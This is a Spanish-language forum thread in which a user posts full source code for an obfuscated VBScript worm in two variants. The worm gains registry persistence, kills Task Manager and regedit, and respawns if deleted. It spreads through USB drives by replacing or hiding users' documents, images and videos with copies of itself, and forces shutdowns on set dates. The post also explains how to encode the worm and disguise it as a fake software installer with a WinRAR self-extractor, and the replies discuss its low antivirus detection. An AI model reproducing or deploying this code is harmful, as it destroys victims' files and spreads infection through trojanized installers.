Worm VBScript Codificado + Empaqtado

[.:: KsV ::.]

Chav@s como estoy de vacaciones   y no tengo nada q hacer les traigo un worm  programado en vbscript x mi.Parte del code esta codificado aver si les gusta lo que hace_

• 1.-Infecta pc da
• 2.-Residente en la memoria
• 3.-Graffity a pc
• 4.-Impide q se abra el administrador de tareas y el registro de Windows
  
• 5.-Si lo borran regresa  
• 6.-Infecion USb remplaza una lista de formatos con el code deo worm eliminando el archivo original muy lamer    lose tambien cabe la opcion de solo ocultarlos en fin
• 7.-Prosesa sub carpetas para el paso6
• 8.-Cada vez q la pc infectada se encienda comprueva q el dia y el mes sumados den 18 la pc se apaga y como esta agregado a la pc no se prendera todo ese dia  

Bueno es hora de empezar aqui les dego el codigo se los voy explicando

Código (vb) [Seleccionar] Expandir



On Error Resume Next 'en cso de algun error no dar aviso
Set fso = CreateObject(des("Vfulswlqj1Ilohv|VwhpRemhfw"))     'Creamos objeto para manejar archivos
y0 = Wscript.ScriptFullName                                    'variable con la ruta exacta del worm
Set tmp = fso.GetSpecialFolder(2)                              'hace referencia a la carpeta temporal
Set ws = CreateObject(des("ZVfulsw1Vkhoo"))                     'Creamos objeto para manejar el registro
Set c = fso.GetFile(y0)                                        'creamos una variable contenga lo de la var y0
c.Copy(tmp&des("_NvY1yev"))                                     'con ayuda de lo anterior nos copiamos a la carpeta %temp%
fso.CopyFile y0, tmp&des("_NvY1yev")                             'nos copiamos a la carpeta %temp% )(x si no funciona la anterior)
ws.RegWrite "HKCU\software\<3\", " 4U ksv"                        'grafittiando el registro de windows
ws.run des("fpg#2f#Uhj#dgg#KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_H{soruhu_Dgydqfhg#2y#KlghIlohH{w")&  "/t reg_dword /d 1 /f",0   'ocultamos las extensiones de los archivos
ksv()       'llamamos a la funcion ksv
dloop()      'llamamos a la funcion dloop

Do                   'inicio de bucle infinito
On Error Resume Next

'las dos sig. lineas llama a la funcion see la cual se encarga de cerrar aplicaciones aqui ya le asignamos dos aplicaciones para q cierre (administrador de tareas y registro de windows)
see(des("wdvnpju1h{h"))  
see(des("uhjhglw1h{h"))
ws.RegWrite des("KNH\bFXUUHQWbXVHU_VRIWZDUH_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq_Nh|VY"),tmp&des("_NvY1yev") 'Nos agregamos al registro de windows

Set wf= fso.OpenTextFile(y0) 'abrimos el archivo de la variable y0 osea el q se esta ejecutando
i= wf.ReadAll                 'Agregamos el contenido completo del worm a la variable i
wf.Close                      'cerramos el worm
If fSO.FileExists(y0) Then    'comprobamos q exista el contenido de la var.y0 si es asi
wscript.sleep 1000             'espera 1 segundo  
Else                           'si no existe
Set nf= fso.CreateTextFile(y0) 'creamos el archivo
nf.Write i                      'escribimos el contenido q almacenamos en la var (i)
nf.Close                        'lo cerramos
End If
obdri()                     'vamos a la funcion obdri
Loop                        'una ves q termine la funcion obdri regresa a do
End Sub

'Funcion q se encarga de cerrar el administrador de windows y el registro de windows
Sub see(processname)
On Error Resume Next
Set WM =getobject(des("ZlqPjpWv="))
Set listservices= WM.instancesof(des("Zlq65bSurFhvV"))
For Each oService In listservices
If processname=oService.name Then
oService.Terminate
End If
Next
End Sub


Function obdri()    
On Error Resume Next
Set discos = fso.Drives   'tomamos el control de las unidades de la pc
For Each d In discos      'bucle para mapear las unidades
If d.Drivetype = 1 or 0 Then  'comprobamos q sean del tipo (1extendible) (0 desconosidos) si es asi
a1= d&"\"                       'agregamos la direcion en la var a1            
Call joder(a1)                  'llamamos a la funcion joder con una direcion  
End If
Next           'pasa a la sigiente
End Function


Function joder(a2)
On Error Resume Next
Set f4 = fso.GetFolder(a2) 'toma control de las carpeta de la usb
Set carpeta = f4.Files      'toma control de los archivos
For Each abc In carpeta    'mapeo de archivos contenidas en un array
nombres = array("jpg","dwg","mp4","vbs","mp3","docx","doc","pdf","pptx","xlsx","vbe","avi")
For each n in nombres
If fso.GetExtensionName(abc.path) = n Then  'si existe alguna de las extensiones en el array entonces  
fso.CopyFile y0, abc.path&".vbs"            'copiamos el contenido de la var. y0 a los archivos q encuentre si la extensión coincide pero le modificamos la extensión
fso.DeleteFile abc.path         'borramos el archivo original
End If
next  'sigiente
next'siguiente

Set abc= f4.SubFolders 'aqui prosesamos e infectamos sub carpetas
For Each f3 In abc
Call joder(f3.path)
Next
End Function


'las siguientes 6 lineas se encarga de cifrar y descifrar
Public Function des(p)
On Error Resume Next
For Ale = 1 To  Len(p)
des = des &Chr(Asc(Mid(p,Ale, 1))- 3)
Next
End Function


'comprueba si el dia y el mes sumados dan 18 si es asi apagamos la pc y como se agrego al registro
'la pc no prendera todo es dia
Sub ksv()
On Error Resume Next
sum = CInt(Month(Date) + Day(Date))
If sum = 18 Then
ws.Run des("fpg#2f#vkxwgrzq#2u#2w#33"),0
End If
End sub





VARIACION
E aqui el mismo code simplemente le qite la opcion de borrar el archivo original simplemente los oculta tanto como oculto y de sistema tambien oculta la extensión
NOTA

Código (vb) [Seleccionar] Expandir


On Error Resume Next
Set fso = CreateObject(des("Vfulswlqj1Ilohv|VwhpRemhfw"))
y0 = Wscript.ScriptFullName
Set tmp = fso.GetSpecialFolder(2)
Set ws = CreateObject(des("ZVfulsw1Vkhoo"))
Set c = fso.GetFile(y0)
c.Copy(tmp&des("_NvY1yeh"))
fso.CopyFile y0, tmp&des("_NvY1yeh")
ws.RegWrite "HKCU\software\<3\", " 4U ksv"
Set ws = CreateObject("wscript.shell")
ksv438 = array(des("#VxshuKlgghq#"),des("#Klgghq#"),des("#VkrzVxshuKlgghq#"))
For each n in ksv438
ws.Run des("fpg#2f#Uhj#dgg#KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_H{soruhu_Dgydqfhg#2y")& n&des("#2w#uhjbgzrug#2g#3#2i"),0
next
ws.Run des("fpg#2f#Uhj#dgg#KNH\bFXUUHQWbXVHU_Vriwzduh_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_H{soruhu_Dgydqfhg#2y")& " HideFileExt "&des("#2w#uhjbgzrug#2g#4#2i"),0  
ksv()
dloop()
Do
On Error Resume Next
kya(des("wdvnpju1h{h"))
kya(des("uhjhglw1h{h"))
ws.RegWrite des("KNH\bFXUUHQWbXVHU_VRIWZDUH_Plfurvriw_Zlqgrzv_FxuuhqwYhuvlrq_Uxq_Nh|VY"),tmp&des("_NvY1yeh")
Set wf= fso.OpenTextFile(y0)
i= wf.ReadAll
wf.Close
y0=w
If fSO.FileExists(w) Then
wscript.sleep 1000
Else
Set nf= fso.CreateTextFile(w)
nf.Write i
nf.Close
End If
obdri()
Loop
End Sub
Sub kya(processname)
On Error Resume Next
Set WM =getobject(des("ZlqPjpWv="))
Set listServices= WM.instancesof(des("Zlq65bSurFhvV"))
For Each oService In listServices
If ProcessName=oService.name Then
oService.Terminate
End If
Next
End Sub
Function obdri()
On Error Resume Next
Set discos = fso.Drives
For Each d In discos
If d.Drivetype = 1 or 0 Then
a1= d&"\"
Call KsVAl(a1)
End If
Next
End Function
Function KsVAl(a2)
On Error Resume Next
Set f4 = fso.GetFolder(a2)
Set carpeta = f4.Files
For Each abc In carpeta
nombres = array("jpg","dwg","mp4","vbs","mp3","docx","doc","pdf","pptx","xlsx","vbe","avi")
For each n in nombres
If fso.GetExtensionName(abc.path) = n Then
fso.CopyFile y0, abc.path&".vbe"
'fso.DeleteFile abc.path
Set hi = fso.GetFolder(abc.path)
hi.Attributes = 7
End If
next
next
Set abc= f4.SubFolders
For Each f3 In abc
Call KsVAl(f3.path)
Next
End Function
Public Function des(p)
On Error Resume Next
For Ale = 1 To  Len(p)
des = des &Chr(Asc(Mid(p,Ale, 1))- 3)
Next
End Function
Sub ksv()
On Error Resume Next
sum = CInt(Month(Date) + Day(Date))
If sum = 18 Then
ws.Run des("fpg#2f#vkxwgrzq#2u#2w#33"),0
End If
End sub


EL SCRIPT NO SE GUARDA CON VBS SINO COMO VBE POR Q POR Q LO HIZE PARA CODIFICARLO CON Screnc  

http://www.mediafire.com/?a2r9qcwbxue3x9d DESCARGAR SCRENC CON UN BAT PARA NO HACER TANTO ROLLO SOLO EJECUTEN EL BAT Y SIGAN LAS INSTRUCIONES

Aqui Screnc para codificar y descodificar http://www.mediafire.com/?pp14x1zjt2xdpw3

LES CREARA UN ARCHIVO VBE (ESTE ES EL WORM ) PERO NO PODRAN LEER SU CONTENIDO SE VERA ALGO ASI
#@~^xAkAAA==6   P3MDKDP"+k;:PH+XY@#@&U+Y,W/KP',/.+mYr8Ln^D`[+kcJj0;skhV5%8qsW4--.A4w"+:40SE#*@#@&XZPx~q/mMrwDR?1.rwDs!Vs1Ch@#@&?OPD:2~


.::KsV::.

Bueno vamos a empaqtarlo para eso solo usaremos winrar
tambien nesesitan este code y tambien nesesitas un programa (el instalador) PARA EL PRIMER CODIGO SI LO QIEREN HACER CON EL 2DO CABIEN VBS POR VBE EN EL SIGUIENTE CODE

Código (vb) [Seleccionar] Expandir



On Error Resume Next
Set ws = CreateObject("WScript.Shell")
ws.run "worm.vbs"
ws.run "setup.exe"



Ese archivo se llamara start.vbs(el code anterior)
El worm se llamara worm.vbs
El programa se llamara setup.exe

Lo primero es añadir al archivo los 3 archivos marcar Crear un archivo extendible


Click en La pestaña de Avanzado..Autoextraible
Donde dice Carpeta de extracion escriben %TEMP% esta es la carpeta temporal de windows


En "Ejecutar tras la extracion" :Ponen start.vbs


Ahora vamos a la pestaña de modos marquen la opcion de "Ocultar todo"

Ahora en la pestaña de Texto e icono
CARGAR ICONO DESDE FICHERO  selecionen un icono q tengan

den aceptar y aceptar y listo  


Renombren la aplicacion por el nombre del programa por ej PhotoScapeSetup.exe

Al ejecutar este nuevo programa primero ejecutara el worm   y despues abrira el instalador del programa  

No compilen el code por q no funcionara x q NO FUNCIONARA LA OPCION DE AUTO RECOPERACION (osea lo borran y vuelve   )

El code es mi den creditos si lo postean en otro lugar  
si tienen preguntas   aganmelas saber

Dudas y Comentarios  siempre son bien venidas

NO YO NI NADIE MAS Q TU ES EL RESPONSABLE DEL USO DE ESTA INFORMACION (TODA LA INFO POSTEADA ES CON FINES EDUCATIVOS COMO SIEMPRE )

[0xDani]

Un worm en vbs? Bueno por lo menos no es alguien preguntando como usar Bifrost. Lo has subido a virustotal, a ver que rango de deteccion tiene?

[.:: KsV ::.]

Bueno los mejores worm se programaron en vbs happyTime ana k..iloveyou..etc

y si ya lo analize en virustotal Deteccion 2 de 43   
los antivirus q lo detectaron fue AVG  y aSafe con ultimas actualizaciones 15/12/12 11:24am 

[0xDani]

No queria decir que fuese un codigo malo, solo que esta muy visto, y no es nada demasiado "pro" que se diga. Incluso hay un tutorial en este foro sobre hacer worms en vbs.

De todas formas, es un aporte, a diferencia de muchos usuarios que se registran solo para preguntar como usar bifrost o cosas similares, y me disculpo si ha parecido que queria ofenderte.

En cuanto a la deteccion, me da la impresion de que los antivirus no se han puesto las pilas con los lenguajes de scripting.

Saludos.

[Novlucker]

No es que los antivirus no se hayan puesto las pilas con los lenguajes de scripting, lo que ocurre es que a estos los detectan por heurística ,y eso no sale en el reporte

Saludos

[тαптяα]

Buen codigo, seguro que muchas horas picando codigo.

[.:: KsV ::.]

0xDaniNTP NO Me ofendo de ninguna manera al contrariom me alaga q personas como tu comenten.

en estemomento como novato no me qiero poner mis moños



a mi tambien me saco de onda el 2/43  pense q abia sido un error pero tambien pense buen trabajo


Pero como dice Novlucker es la  heurística el AVG lo detecto por eso


Novlucker Es un placer q vieras esto mi primer encuentro con este mundo fue tu TUTORIAL DE VBSCRIPT GRACIAS

Todo lo o la mayor parte q se de vbs es gracias a ti
A tu nombre este code.

[.:: KsV ::.]

тαптяαпсє Gracias x el comentario y si me lleve unas 2 horillas